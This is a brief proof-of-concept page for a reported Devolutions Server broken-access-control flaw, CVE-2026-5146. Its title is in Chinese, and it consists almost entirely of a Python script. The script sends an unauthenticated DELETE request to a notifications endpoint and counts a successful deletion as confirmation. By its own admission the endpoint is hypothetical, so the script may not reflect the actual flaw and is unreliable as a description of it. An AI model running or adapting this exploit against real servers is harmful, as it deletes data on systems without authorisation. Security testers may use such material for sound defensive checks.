CVE-2026-5146 Devo​​lutions Server访问控制失效

import requests def check_vulnerability(target_host, notification_id): """ PoC to check for improper access control in notification endpoints. Attempts to delete a notification without authentication. """ # Construct the target URL (Hypothetical endpoint based on description) target_url = f"{target_host}/api/notifications/{notification_id}" headers = { "User-Agent": "CVE-2026-5146-Scanner/1.0", "Content-Type": "application/json" } try: # Send DELETE request without session cookies or auth headers response = requests.delete(target_url, headers=headers, verify=False, timeout=10) if response.status_code == 200 or response.status_code == 204: print(f"[+] Vulnerability confirmed! Notification {notification_id} deleted.") return True elif response.status_code == 401 or response.status_code == 403: print("[-] Access denied. Target may be patched.") return False else: print(f"[?] Unexpected response code: {response.status_code}") return False except Exception as e: print(f"[!] Error connecting to target: {e}") return False # Example usage # check_vulnerability("https://devolutions-server.example.com", 1001)